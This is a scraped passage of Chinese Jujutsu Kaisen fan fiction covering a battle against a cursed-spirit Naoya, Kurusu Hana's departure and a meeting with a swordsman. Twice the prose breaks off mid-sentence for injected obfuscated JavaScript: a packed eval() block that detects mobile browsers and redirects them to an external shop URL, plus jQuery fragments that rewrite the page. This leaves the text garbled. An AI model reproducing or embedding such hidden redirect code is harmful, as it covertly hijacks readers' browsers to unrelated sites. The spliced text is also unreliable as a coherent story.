伏黑惠觉得他们某种程度上是同样消极的人。于他自己而言,九成的压力来源都是人类,围在身边的好人、恶人,以及成群结队没那么好却也不怎么坏的普通人类。日车宽见身为律师,应该能够看见人在更极端的情况下所展露出来的人性吧?
这正是日车宽见每日都要面对的事。作为律师,他要贴近那些人的内心,看清他们的弱小。受害者的弱小、加害者的弱小,日复一日、不胜其烦。原本他也是秉持信念的人,对自己感到奇怪的事绝对没办法置之不理,哪怕正义女神遮盖双目、世人装聋作哑,就算只剩下他一人也要睁大双眼,绝不放手。
但,似乎有一天他突然意识到,哪怕举着照亮周围的明灯,被驱散的黑暗依旧只是黑暗,令人作呕的虚无正在自己看不见的地方蔓延着。
“人要是这么简单的生物就好了,”伏黑惠垂眸,在玉犬的头上摸了一把,“你想要借助死灭回游建立的不过是一个全新的法庭,与你去过的无数法庭一样,只不过替你站上席位的是那些规则罢了。”
日车宽见可是“天才”。学习法律的过程对他来说只是吸收必要知识、输出必要内容,成为职业律师之前的所有难关都这样一路畅通,顺理成章地站上了那个席位。
“你只是退缩了,所以选择了逃避,日车先生。这样真的好吗?”
日车宽见闭上了眼睛。无数张脸隔着令人窒息的空间、隔着探视玻璃望向他时的那些表情——那些谴责、绝望、怨怼的表情一一浮现在了他的脑海里。
“那我们就没什么好谈的了。”
伏黑惠召唤出了贯牛。
“你说的黑暗与明灯什么的.....我还想和你说说我的朋友们和老师的事,”式神在他身后兴奋地用蹄子刨着地板,“不过等到打倒你之后再讲也来得及。”
日车宽见挥动突然变大的木槌直接攻了上去。
——
咒灵像乌龟一样收回了那些海葵触手似的肢体,这样它的身体将代表完全的极速。
“不能硬接,”哪怕他们在地面上也能听到恐怖的吸气声,乙骨忧太判断禅院直哉的速度将达到一个极为恐怖的巅峰,“想办法让它停下来。”
“我明白。”虎杖悠仁紧盯着空中的咒灵。哪怕完成了变态,估计在“束缚”方面也不会有太大的变化,只有当它的速度达到极限的那段时间里会大幅提升自身的硬度,甚至能够做到无坚不摧。也就是说在其他时间段内,它本体的硬度会补偿性地减弱。
禅院直哉开始移动。
“在绕圈?”
乙骨忧太眯起眼睛,里香那边已经找到了伤势严重的来栖华,因为需要使用反转术式而没办法及时赶过来。
咒灵在他们上空沿着同一条圆弧形轨迹绕着圈,速度却一再增加,看起来就像是在蓄力一样。吸气声比刚才它静止的时候更加刺耳,等到它移动的虚影在虎杖悠仁和乙骨忧太眼中完全连接在了一起时,那种声音已经变成了一种令人身心不适、持续不断的尖锐噪音,让所有听到它的人不约而同升起了焦躁之意。
禅院直哉只觉得畅快无比。绕圈的行为自然是在蓄力,它还不至于自大到觉得地上的那两个人会笨拙得连这个都看不出来。在以音速移动的过程中被吸入进气口的空气通过冲压与咒力进行压缩,位于肩膀、身后的出气口翕动着,在某一瞬间骤然完全张开了。
“现在、我才是——”
混合着咒力的压缩空气被喷射出体外,禅院直哉由此获得了高达3马赫的极致速度。
“——这个世界上的最速之人!!!”
力量是由什么组成的?
速度。
没有人能再追得上它。
以及重量。
简单地说,就是挥舞拳头的力道。
禅院直哉看到了两双眼睛。它们是如此认真地注视着它,除了它之外再没有其他的什么东西。有不少人这么看过它,但因为它们主人都不值得在意,所以禅院直哉懒得给予回应。
眼前的这两个人也是。
杂鱼而已。
【投射咒法】定格了它与虎杖悠仁和乙骨忧太之间的空气,刹那间俯冲而来的身躯击碎了被定格住的平面。爆发的冲击足以摧毁任何敢于站在它身前不自量力的抵抗者。
极速所过之处大地开裂、被掀翻的地块让周遭的空气中遍布土腥味,两侧的树木被连根拔起,尽数折断。连长久积聚于雾岛上空的云层也被划开了一道空隙,清澈的阳光沿着缝隙洒了下来,像是迎接它登场的聚光灯。
冲击的范围将它的敌人们完全笼罩了进去,爆炸产生的气流卷起尘埃挡住了视线。
禅院直哉没有停下。它再一次旋转蓄力,对崭新躯体的适应让它大大缩短了第二次蓄力所需要的时间,扭转方向对准了那片尚未完全散去的烟尘中露出的两道身影。
......他们为什么还能站在原地?
“算啦,”就当是个开胃菜,“下面才是重头戏。”
虎杖悠仁和乙骨忧太几乎同时看清了【投射咒法】的施用方式。不断被战斗锤炼、打除杂质的咒术天赋如今终于亮出了锋刃,化作獠牙撕咬任何轻视他们的对手。
在高度集中的注意力下,他们看清了那些被逐一定格的关键帧,而打出过黑闪的身体能够以同样的速度对此做出反应。
禅院直哉身后的出气口连续数次喷出压缩气体增加推力,数度响彻天际的音爆炸响,本体的硬度达到了极限以抵挡速度带来的自毁。
它要用这次冲杀结束这场战斗。
之后要去找谁呢?啊,不然先去找小真希和小真依吧。然后是惠,最后再去找甚尔。
虎杖悠仁与乙骨忧太早已心照不宣。
冲击到来的那一刻,咒灵坚硬的身躯砸穿了地面,汹涌的震荡让附近山坡上的碎石不断向下滚落,土石埋葬了少年们原本站立的地方。
什么......?禅院直哉依旧保持着极速,但它清清楚楚地知道自己刚才的冲杀没能击中任何人。
有两道身影从烟尘中冲出,在看清他们的刹那,禅院直哉暴怒地瞬间转向,在空中留下一道扭曲的轨迹,追着虎杖悠仁和乙骨忧太的身影而去。
躲开了?!为什么?!明明它的速度才是绝对的优势,他们凭什么能躲开它的冲杀?!
虎杖悠仁在林地间狂奔。他没有回头,却在禅院直哉第二次瞄准他俯冲而来的时候精准地跃向侧方,只是被咒灵经过时带起的风压冲得身体微晃,脚下崎岖的地面情况稍稍拖慢了他的脚步。
又来?!!
一次可以是巧合,禅院直哉不相信第二次还会有这样的好运。
第二次冲杀再次错失了目标,它的速度已经开始变慢了,索性直接打开进气口重新吸气。盘旋在半空时,禅院直哉发现自己失去了乙骨忧太的踪迹。
虎杖悠仁等的就是这个时机。咒灵的本体强度在速度没有达到极限的时候并不算特别坚硬,想要将它击落就只能在它减速的这段时间里设法打中它!
粉发少年蜷身蓄力,昂首确定目标后蹬地飞身而起。
与踏裂大地的力量相比,他的身体轻盈得可怕。似乎在击出过黑闪、接近过咒力核心之后,他的确能够更清楚地看到“不应该能被看见”的东西了。不,与其说是“看见”,其实更像是一种感受,一种只在战斗到肾上腺素飙升时才能体会到的感觉。
仿佛周围的一切都有迹可循,他能清晰地分辨出哪些风是自己的奔跑带起的,哪些气流的变化代表着身后的咒灵即将接近。
现在的自己什么都能做到......这种感觉的确非常让人上瘾。
“蠢货!居然自己送上门来——!!”
禅院直哉被虎杖悠仁的动作激怒了。这几乎是一种明晃晃的挑衅,可它没能发现自己心中突然升起的狂怒真正的来由。
是眼前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378249|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎杖悠仁在面对远超他所能及的极速却没有面露惧意?人在直面震慑灵魂、敲碎自我认知的存在时不应该惊叹,不应该为他们之间存在的差距而痛哭流涕吗?!!为了自己的溃败,也为了自己的新生!!!
就像禅院直哉第一次撞见伏黑甚尔的时候。
从那时起禅院直哉就知道家里的大人都是一群蠢货,只有自己看清了什么才是真正的强大。
虎杖悠仁拧身挥拳,拳头表面附着的咒力染上了一丝深沉的颜色,先后传递到咒灵身上的力量与冲击因为过于紧密的间隔而重叠到了一起,最终化作黑红的咒力爆发了出来,正中目标。
禅院直哉的身体被直接打得折进去了一块。它仍无法想明白为什么在空中无处借力的情况下,虎杖悠仁仍能做出那样复杂的动作,仅凭蛮力......不,他还用了术式!
大开大合的力量型战斗方式极容易让虎杖悠仁的对手忽略他对术式的应用,技法正变得得心应手,将经历过的每一场对决完全刻入大脑、融进身体,再变成自己战斗中逐渐显露的助力。
禅院直哉望见倒伏的林木间出现了一道一闪而过的光。可它的头颅为了更好地配合能够达到极速的构造而融入了身体,既没有可以被称为眼球的东西,也没办法扭头去看从那个方向感受到的巨大威胁。
身上被【御厨子】重新切出了可怖的伤痕,它的进气口猛地合上,在压缩的空气被推出体外的瞬间,冲向身在半空避无可避之人的残破身躯被从地面射来的咒力冲击波击中了。
刺目的光柱倾斜着直冲天空,将被禅院直哉搅得乱成一团的云层彻底捅开了一个洞,阳光完完全全地落了下来。
也许在战斗中不断累积的愤怒并非全然出自对手的轻视,还有没能得到展现的固执与自尊。它的所有触手都在咒力冲击中被消磨得干净,身体核心部位正在修补的斩击伤口也在冲击中彻底撕裂。
它从没觉得自己输过。
禅院直哉这个名字就应当等同于禅院家家主,它应当成为能与五条悟和伏黑甚尔并肩的存在。
身为人类时最后的记忆涌现了出来,它引以为傲的速度在热武器的偷袭面前毫无用武之地,甚至开枪的人连术师都不是,只是一个勉强能够看见咒灵的普通人。
再往前……就是死而复生的亡灵。
“输?输了?我输了?我居然败给了你们这种货色?!!”
诅咒被祓除后的消失反应已经出现在了分离的上半身,然而虎杖悠仁的眸光紧锁着仍未完全消散的剩下半截。
乙骨忧太发出的咒力冲击已经结束,从天上望下去,黑发少年的身影还没有拇指大。
禅院直哉的声音反而骤然变得更加清晰,虎杖悠仁看见了从咒灵半身截面中爬出来的“人类”。眼前忽的一暗,深邃如宇宙一样的空间将他包裹了进去,听起来粘腻又滑溜溜的响动出现在了前方,一条通“天”之路延伸至了他的脚下。
虎杖悠仁抬眼,发现了异响的来源。成片的暗红触手像是肠道一般纽结在一起,领域的主人就待在这条路的尽头。随着它身后的巨大眼球缓缓睁开,这片领域的构筑也终于完成。
“我说,你现在也是这种感觉吗?体内充斥着诅咒,使用的咒力因为亲近本源而更加得心应手,”上半身完全恢复了人类模样的禅院直哉露出了虎杖悠仁熟悉的嚣张表情,“爽到爆啦!”
“我觉得应该不用我提醒你现在是个咒灵。”虎杖悠仁沉声回应道,在禅院直哉的面前举起双手结成掌印。
现在的话应该没问题了。
咒力翻涌,刻印在大脑中的术式变得炙热、滚烫。原本陌生,却在回路连接的那一刹那变得无比熟悉的感觉充斥在了虎杖悠仁的体内。就像领悟让使用术式的仪式变得完整的掌印一般,他突兀却又自然地在此刻突破了困扰他的所有问题,将搭载了生得术式的领域结界构筑了起来。
只不过数息。
领域的交锋只持续了短短数秒,在重回战场的里香带着乙骨忧太冲向半空中耸立的漆黑结界时,已经有隐隐约约的裂痕浮现在了它的表面。
“时胞月宫殿”破碎的刹那,禅院直哉感觉脖颈一凉。
与被【御厨子】击中时炙热的切口不同,将它斩首的凶器表面冰凉,一如持握着它的那个人的眼神。
击碎它领域的虎杖悠仁和挥动刀具的乙骨忧太被白色的式神护着,这回换他们居高临下地望向坠落的禅院直哉。
“这样就行了吗?”虎杖悠仁体会着术式熔断的感觉。像是一台全力运转的机器过载,虽然仍能凝聚起咒力,但却无法供给给术式了。
乙骨忧太的刀上还有残存的血迹,他拉着虎杖悠仁在里香的臂弯中立稳:“嗯,已经结束了。”
“......”
看出他兴致不高,乙骨忧太问道:“怎么了?”
虎杖悠仁只是摇着头回答:“总之先下去确认它真的被祓除了吧。”
他们追上了砸落在地的禅院直哉。
111. 第 111 章
身首分离,名为禅院直哉的咒灵再无挣扎的余地。
——这么看来,伏黑惠确实稍微比你更适合成为禅院家的家主一点。
人死前真的能够看到走马灯,过往的画面一一闪过脑海,在虎杖悠仁的领域里被勾起的回忆闯了进来。
当时他们在说什么来着?啊,是说为什么甚一和扇叔没有着急忙慌地去找伏黑惠的麻烦。
当时、在那个古怪的领域里——
“啧,这是什么没劲的荒郊野岭?”
虎杖悠仁望着周遭熟悉的景象,有点嫌弃地说:“第一个被拉进来看见这些的人居然是你......我也很懊恼好吗。”
他也说不好这里到底是不是领域的内部,亦或者只是具现出来的心象空间,不过看禅院直哉的模样,虎杖悠仁觉得这里应该并非真正的领域。
咒术偶尔也会产生这样奇特的效果,毕竟咒力和诅咒全都源自于人类内心的负面感情,与心灵和灵魂相挂钩的东西在极端条件下碰撞出了这样一片奇特的空间也就不足为奇了。
虎杖悠仁看见了小岩井农场。
“该死的!这怎么满地羊屎啊?!”
“......你没去过农场吗?”虎杖悠仁吐槽道,不过禅院直哉看起来就像是个大少爷,联想到对方的身份,大概也不会到这种地方去的吧。
“所以,”禅院直哉很快便觉得这空无一人、只有各种动物和一成不变的街景的地方太过无聊,“多少注意点场合,赶紧出去接着打啊。”
粉发少年靠着圆木栏杆,视线游走在草场里诸多马匹的身上,寻找着什么。闻言也只是轻巧地说道:“还打什么?你已经输了啊。”
“......哈?”
虎杖悠仁找到了熟悉的纹路,他向那匹马招手,但没有得到任何回应。禅院直哉被虎杖悠仁的态度彻底惹火,可他很快便发现自己什么都做不了。这里完完全全属于跟他一起走在农场里的石板路上的粉发少年,也就是说他已经字面意义上的——输了。
相比暴怒的、不肯接受的黄发青年,虎杖悠仁倒是多少已经搞明白了这个地方存在的真正意义。
这是爷爷送给他的礼物。
“我们从小生活的地方不同,我不知道你的人生是什么样子......那是你的东西,”虎杖悠仁蹲在河边的石头上,他小时候经常在附近钓小龙虾,“但我们遇到过两次,可每次都是在打架。在一切结束之前,这里就是最后了。”
禅院直哉从愤怒中脱离,沉默了很久,最终嗤笑道:“说什么废话。”
他高傲且轻蔑地说:“你当这里是什么告解室?老子都说让你看看场合了,还是说你脑子里装的全是水?一点脑浆都没有吗?”
虎杖悠仁一点也没有因为他的刻薄话而升起半分恼怒。其实他也是这么想的,事到如今再说什么都已经没有用了,改变不了事实的行动就是在白费时间而已。
但他还是想要去做。
他必须要看清生命的价值,只有这样才能脚踏实地迈步向前,不会在残酷的现实中丢掉自我。
“谁管你啊,”禅院直哉说,“像个滑稽的小丑一样。”
虎杖悠仁亲眼看着咒灵的最后一部分也在升腾的咒力火焰中消失殆尽,从头顶云层空洞中洒下来的阳光照亮了这附近,看起来如梦似幻,极不真实。
“......”乙骨忧太太过了解他,看他定睛注视咒灵消失,便明白了他在想些什么。
“该去找来栖了,悠仁,”乙骨忧太挥刀甩去刃上的血迹,它们在地上撇出了锋利的半圆,很快就会彻底消散,“去看看她的情况。”
偶尔也有这样的人啊。
“嗯。”虎杖悠仁长舒一口气,转头不再关注这边。
率先退场的来栖华在里香的治疗下总算勉强缓了过来,当虎杖悠仁和乙骨忧太往回找过去的时候,她正歪歪斜斜地飞在半空,看上去随时都能晕倒的样子。
“为了防止咒术师死亡后的怨念生成咒灵,一般都会用含有咒力的武具或者直接用咒术杀死他们,”天使说道,“那东西是什么情况?”
禅院家的一些人支持伏黑惠当这个家主,毕竟在总监部大换血之后亲近五条悟的一方显然能混得更好,继承了相传术式、受五条悟青睐、还有开启完全领域的天赋,伏黑惠的确在不少人心中比禅院直哉更适合继承禅院家。不认同但也不敢明面反对的禅院扇和禅院甚一已经彻底消失了,撒手不管的禅院直毘人也不会再说什么。
五条悟只是被封印了而已,大多数人还是能认清这个事实的。
“但是到底是谁下的手、是不是为了这个理由......这倒是很难说了。”乙骨忧太说道。
来栖华一直在悄悄骂让她断了好几根肋骨、内脏受损的罪魁祸首,而天使大致听了原委之后也只是叹息着说:“禅院啊。”
没人能听出她到底在感叹什么,亦或是想到了什么。
虎杖悠仁有点愧疚地听着这片原本安详的乡下镇子再一次变得热闹起来,这一次战斗波及的地区比和万战斗时造成的破坏要可怕多了。因为被突袭,所以根本没有人来得及设下“帐”......能不能困住极速的禅院直哉还是个未知数。
乙骨忧太觉得禅院直哉找过来只是个意外。
“为什么这么说?我其实还想过是不是羂索故意的......但是又想不明白他有什么理由。也许万也是,但这样一波又一波地过来......”虎杖悠仁收拾着一片狼藉的院落,屋顶也被毁去了一块,幸运的是暂时并不影响二层居住。
“可能我们聚在一起太引人注目了,”乙骨忧太挠挠头,“咒力很明显。”
他们两个人同时看向了揉着肚子的来栖华。
“......太过分了吧?!”少女指着他们两个的鼻子控诉道:“一个咒力跟太阳似的,一个跟诅咒差不多,怎么好意思说我的啊!”
虎杖悠仁尴尬地笑着:“别太在意这些细节?”
“华说得没问题,”天使帮腔,“你们这样‘特别’的人凑在一起总会引来很多麻烦。多少了解一些的现代术师就不提了,但是古代术师里面有很多人对战斗和强敌的执着超乎你们想象。”
她顿了顿,说道:“我和华准备离开这附近。”
“已经决定好了?”虎杖悠仁问:“你们打算去哪儿?”
来栖华在空中转了个圈,选定了一个方向:“去找我的命定之人。”
越来越多的事件让咒术的存在暴露在了普通人的世界中。虎杖悠仁第一次在电视节目中听到了五条悟的名字,虽然只是一个深夜连线频道,但还是一瞬间让他产生了一种不真实感。
全新黑绳的编织已经接近尾声。他们又去了一次高千穗峰,但收获寥寥无几。生成诅咒的源头并没有像非洲草原的情况一样彻底消失,可是等着它们重新变成有实体的诅咒的时间也会越来越长。
虎杖悠仁正在收拾他们为数不多的行李,被褥可以继续寄存在里香那里,家具之类的只要罩上防尘布就好。关闭水电,清空冰箱,检查门窗的锁。毕竟付了半年的房租,万一以后还有机会回来住一段日子呢。
从便利店里买下来的自行车也收到了杂物间里。
锁上房门的那一刻,虎杖悠仁突然又生出了点感性的想法。家门落锁,代表着他们即将远行,也许这趟旅途最艰难的不是路上可能会遇到的各种困难,而是真正将心从安定的家中带离的时候吧。尽管只是一间租来的房子,但这可是只有他们两个人生活的地方。
可以被称为家吧?
安心到让人产生了倦怠之意,如今却不得不主动离开,因为还有必须要做的事。
乙骨忧太正站在路旁打电话,看到虎杖悠仁后向他笑了笑。
“没关系,不用担心我,”黑发少年接过他手中的背包,交给了从影子里伸出的巨大手掌,“这段时间就尽量不要外出了,遇到任何问题都可以给我打电话。”
女孩的声音从电话那头漏了出来:“我知道了哥哥。”
乙骨忧太又叮嘱了几句,在女孩觉得他实在太啰嗦之前挂断了电话,苦恼地向虎杖悠仁抱怨:“果然是长大了吗?她小的时候总爱缠着我的......”
“别像个老爷爷一样说话啊忧太!”
乙骨忧太这几年一直有给妹妹寄钱回去,她上学的同时还要在母亲顾不过来的时候照顾父亲,再加上最近也到了学业功课压力增大的阶段,对她来说也是蛮辛苦的。
“我能帮她的也只有这些了,因为觉得太对不起她了,所以总爱变得很啰嗦。”
虎杖悠仁轻轻嗯了一声。
他还不知道胀相他们现在情况如何。
“等他们出来就会联系你的吧,”乙骨忧太看着电子地图寻找方向,“毕竟现在可以自由出入结界了。”
这不是咒术师们追加的规则,对他们而言也是一个好坏参半的消息。可以离开结界意味着不必被困在一处,在行动上更加自由,但与之相对的,古代术师、被改造而成的术师以及咒灵们也都可以离开结界。
咒术界高层与政府本想借助天元的力量扩张原有的净界,将拥有两个死灭回游结界、受损严重的东京定为禁止入内的区域,对外宣称这是只有东京才会出现的状况来安抚因为逐渐发现了世界另一面而惶恐不安的国民,但结界放开之后,这样的想法反而变得不现实起来。
结界外的公共交通依旧运行着,只是在被死灭回游占领的地方中断了。他们要乘新干线的话还是要去市中心,所以现在正在向樱岛结界的方向靠近。
“能离开结界的话,咒力收集会变慢的吧。”虎杖悠仁说。
“这个嘛,”乙骨忧太歪了歪头,“我倒是觉得泳者们不一定会想要离开结界。”
“诶?”
“如果悠仁一觉醒来发现现在已经是几百年后了,结界外的世界都是你不会用、不知道也从没见过的高科技,这个社会也变成了你完全不认识的模样,你会想出去吗?”
虎杖悠仁想了想:“也许会想要继续待在结界里吧。我多少明白了,对他们来说结界里相互厮杀的秩序更符合他们的生存法则......的意思?”
乙骨忧太点点头。
而且天使也说过,古代术师中有不少人是彻头彻尾的战斗狂。
“想要第二次生命的人,大多都是抱有遗憾的吧?想要改变什么,或
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378250|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者想要证明什么。但是他们还需要一些时间来认识到自己想要改变的、想要证明的东西都已经不在了,唯一穿越时间来到现在的就只有他们自己。”
乙骨忧太这样说道。
所以现在对结界外的普通人来说,最大的威胁来自在涩谷被释放出来的咒灵,以及被【无为转变】改变了大脑结构的新术师。
这类人不同于传统的咒术师,甚至与能够看见咒灵却没有术式的人也不同,其中大部分在死灭回游开始前甚至完全不知道咒术界的存在。只是恰巧天生拥有介于术师与非术师之间的、构造更为特殊的大脑,拥有术式却无法使用,在死灭回游开始后,他们的天赋被彻底激发了出来。
这些觉醒的术师原本生活在普通人的世界,遵循这个社会的规则,一旦这样的人获得了超人般的力量,可能会引起的连锁反应已经是可以预见的了。
他们接近了城区。说来奇怪,明明这里也都是高楼大厦,街道上也人来人往,城镇给人的感觉就是和东京或京都这样的地方不同。虎杖悠仁还没来得及参透其中的奥妙,便被挡在路中央的老人吸引了目光。
说实在的,他现在总有一种在玩RPG游戏的既视感。每当他觉得是时候继续前进了,就会遇到全新的对手,而他的主线任务就是击败他们获得经验值,提升自己的基础能力或者让技能得到进化。但是流程太固定了也会觉得腻的好吗?!
“刀呢!!怎么会没有刀!!刀不应该是男儿的武士魂吗——!!”
不管是穿着打扮还是咬字的腔调都带着老旧气息的老人站在马路中央大喊着,全然不顾周围来往车辆的愤怒喇叭声。
“嗯?!你们——”老人发现了企图融入人群中的少年们。
虎杖悠仁凑到乙骨忧太耳边:“我觉得我们应该赶紧撤......”
“我也这么想......”
但是他们没溜成。
老人名叫大道纲,是个一心一意沉醉于武士刀的迷之男子。与其他受肉|体不同,他并非术师,身上只有和普通人无异的稀薄咒力,甚至连咒灵都看不到。
“喔哦哦!!这是何物?!有人在用忍术攻击老夫的嘴和喉咙!!”
“......那只是可乐而已。”
被问及可乐究竟是什么东西时,虎杖悠仁解释了半天也没能让大道纲理解什么叫做气泡水。
他们坐在麦当劳的角落里,正好也到了中午的饭点,索性就地解决。
大道纲显然被从未吃过的美味之物吸引了全部的注意力,连找刀的事情都暂且被他放到了一边,大口享用着手中的汉堡,并且在乙骨忧太的指导下学会了沾番茄酱吃薯条。
“若有想问的事,随便问就是,”大道纲说道,坐在他对面的两个人已经嘀嘀咕咕很久了,“犹犹豫豫可是挥刀时的大忌,少年啊。”
乙骨忧太一愣:“您怎么知道......”
“哼,老夫这辈子没别的本事,唯有在剑术上颇为自得。”
虎杖悠仁觉得的确有些问题能问,但似乎问了也只能得到已经预料得到的答案。大道纲是个无名的剑豪,不是说他在自己的年代里籍籍无名,只是没能将名字流传到后世罢了。在一众泳者中,他是个特例。
看不见咒灵也没办法使用咒术,但却是天下无双的受肉|体——因为他仅凭一把孩子的塑料玩具武士刀就击败了前来切磋剑术的泳者,此时身上已经存了不少分数。不过似乎他从未搭理过小金虫,也从不在意死灭回游的那些规则。
若问了为什么离开结界,回答一定是为了找到一把真刀。找到了之后呢?
“既然刀在手中,那必是斩我想斩之物。”
百年前和羂索签订契约也没什么特别的理由,只是还想继续挥刀罢了。
“什么是你想斩之物?主动来找你切磋的人,还是那些和你一样的剑术高手?”虎杖悠仁问。
这一次,老人没有急于回答。他一反常态,似乎完全将刀和剑术放到了一旁,上上下下好好将虎杖悠仁打量了一番。
半晌,大道纲终于说道:“少年啊,你有当斩之物吗?”
“......有。”
大道纲站起身,在人潮往来的快餐店角落,只有几个被他的动作吸引了目光的人留意到了穿着奇怪的老人。他的双手一前一后虚虚握着什么,随即做出了挥刀劈砍的动作。
“只要有刀在手,斩我想斩之物,”无名的剑豪说道,“那老夫是谁,尽管交由别人决定就是。何必将短暂的一生过得太复杂?所以我只斩想斩之物,穷尽一生也没有遇见过当斩之物。”
“你可知挥刀一共需要几步?”
这倒是将虎杖悠仁难住了,下意识地想要寻求乙骨忧太的帮助,但用余光发现黑发少年同样因大道纲的话而沉思着,所以思考了一下便回答道:“一步。只要把刀挥下去就好了。”
这个回答引得大道纲仰天大笑,拍着自己的肚皮停不下来。
“哈哈哈!没错!一步!挥刀只需一步而已!!”
“既如此,”老人直视虎杖悠仁的眼睛,“你还有什么可踌躇的呢?”
“给我一把刀,我教你看清一切的剑术。”
112. 第 112 章
“给您刀倒是没问题,”乙骨忧太从里香那里取出了一把刀,“如果您只在结界里行动的话。”
“刀——!!”
大道纲在白刃出鞘的瞬间双眼放光:“老夫答应你了!即便你不说我也能看得出来这周围并没有我想斩之物,连无聊时的消遣也找不到。”
普通人云集的世界里没有剑豪的落脚之处。
老人终于拿到了心心念念的刀。他握住刀柄的刹那,少年们明白了为何他会是天下无双的受肉|体。令人感受到威胁的并非某种可怕或邪恶的咒力,而是借由持刀从老人身上表露出的无形压制力和压倒性的杀伤力。
乙骨忧太有些怀疑大道纲和禅院真希类似,是个不完全的天与咒缚。但抛开这些特殊的体质,老人在剑术上的造诣毫无疑问,衬得上剑豪之名。
他们来到结界附近的一处无人港口,因为海面已经完全被结界挡住,所以这片港口也被暂时弃置,四下无人。
“这把刀......”大道纲粗糙的手指抚摸着锋利的刀刃,来回摩挲了一会儿,才说道:“好普通啊。”
乙骨忧太有点不好意思:“啊哈哈。”
“不过,刀是刀,”大道纲转眼望向了侧方的虎杖悠仁和乙骨忧太,准备履行自己的诺言,“执刀之人才是挥刀的那一个。如果宝刀在手却没能斩出与之相配的剑术,那只是在暴殄天物罢了。来吧!”
乙骨忧太设下了“帐”。
日复一日锻炼的技巧与战斗中的领悟都会化作身体本能,与此同时还有最重要的“眼睛”。哪怕看不清当斩之物的模样,可只要看见除那之外的一切,就相当于能够清楚地看到了!
“我上了!”虎杖悠仁喊道。
他完全放弃了使用咒力,仅凭肉|体力量迎面对上了持刀的大道纲。
老人为少年超凡的身体素质暗自心惊,而虎杖悠仁也因为他“无法闪避”的挥刀心脏猛跳。
大道纲的刀路极为精确。他看不见咒力,自然没办法通过术师体表的咒力流向来判断进攻的方式,而且同样没办法用咒力强化肉|体,让自己的挥斩更具力量。
但他就是凭借这样的毫无威慑力的普通身体斩杀了所有前来狩猎的古代术师。
极具压制性的杀伤力——这正是让虎杖悠仁心惊胆战的源头,他从未在与任何人的战斗中有过这样的感受,明明自己已经完美地躲开了大道纲挥刀的轨迹,可心中依旧有一处地方提心吊胆,仿佛躲过这一刀也不意味着性命得到了保障,有什么更加恐怖的东西正在后面等着他。
两人交替和大道纲对拼,从日头高照一直打到了太阳西斜。
剑豪走得很潇洒,在夕阳下消失在了港口停泊的船影间。
虎杖悠仁径直躺倒在了地面上,浑身酸痛,也暂时懒得用反转术式修复那些青紫的淤伤和渗血的刀口。
乙骨忧太坐在他身边,望着从结界侧方露出来的、将落未落的橙黄太阳。
“大道先生的刀。”虎杖悠仁没头没尾地说。
“嗯。”乙骨忧太回答。
他摸到了虎杖悠仁的手,开始将正极能量灌注进去。码头上没了人来人往,却也没有想象中那么多的黑尾鸥。渡轮停止在两岸间往来,那些黄嘴黄腿的鸟儿们似乎也从天空中消失了。不再运营的渡轮意味着再也没有人会向半空中抛洒小零食,也许黑尾鸥们也在疑惑为什么人类突然从它们的生活中消失了吧?
虎杖悠仁回握了上去。
乙骨忧太的手掌上有握刀留下的硬茧,虎杖悠仁在想事情的时候喜欢逐一摸过它们,这样重复而不自知的小动作能够稍微安抚住他内心的不安。
大道纲的剑术太自由了。
如果可以的话,虎杖悠仁想就这样躺到天亮,但在残阳坠入海面之后,凉意也被混合着咸湿海味与火山硫磺味的风送上了岸。
他晃了晃手:“已经可以啦。”
“待会儿想吃什么?”乙骨忧太就着牵手的姿势将他拉了起来,拍了拍他后脑沾上的灰尘:“晚上在这附近找个旅店吧。”
虎杖悠仁无奈道:“刚才我也在想这个问题......现在回去的话怎么想都太奇怪了,感觉像是刚离家出走就发现自己没带现金结果只能灰溜溜地跑回家......去吃炸猪扒吧。”
“那是什么比喻啊!”乙骨忧太被他逗笑了。鹿儿岛的街头随处可见各种料理店,没走两步虎杖悠仁的魂儿都要被周围散发出的各种香气勾走了。
中午只吃了汉堡,又打了一下午,现在他完全前胸贴后背,饿到有点肚子疼。
乙骨忧太在手机上找到了一家评价还不错的料理店,离这个地方不太远,拍着虎杖悠仁的后背鼓励他再坚持一下。
当他们终于坐到料理店的座位上时,虎杖悠仁已经软趴趴地倒在了桌子上,嘟嘟囔囔地说:“......已经饿过劲了......”
看来之后得囤一点能够长时间保存的食物在里香那里了,乙骨忧太心想。
料理店里的客人很多,空气中散发着肉类和酱料的香气。店员忙碌到脚不沾地,却依旧难以完全满足所有客人的需求。虎杖悠仁直接将脑袋搭在了桌面上,听到隔壁桌的客人抱怨今天上菜的速度太慢了。
“抱歉这位客人,”即便是深秋,从后厨出来的店长背后的衣服却依旧被汗水浸透,“最近有很多人生病倒下了,我们店的店员也不例外......临时找不到人手,还请您稍等。”
“啊,这倒是,”客人们开始谈论最近突然到来的疾病高发期,“我们会社也有很多人请了病假,连那个工作狂社长都倒下了!”
当然也有不少人在说着近在咫尺的结界。
虎杖悠仁坐直了身体,等待猪扒饭送来的时间里他开始更仔细地听那些客人们的谈话。
秋冬换季的时候的确是流感爆发的高峰期,这本该是一个每年都能在新闻栏目见到的报道,可如今除了流感之外,还有很多人出现了不明原因的虚弱。大概的症状是头晕疲倦、浑身无力,去医院检查也没有任何问题,最后只能归咎于换季时可能感染的流感或者单纯的疲劳。
“忧太,”虎杖悠仁撑着下巴,“你觉得咒力还有多久才能集满?”
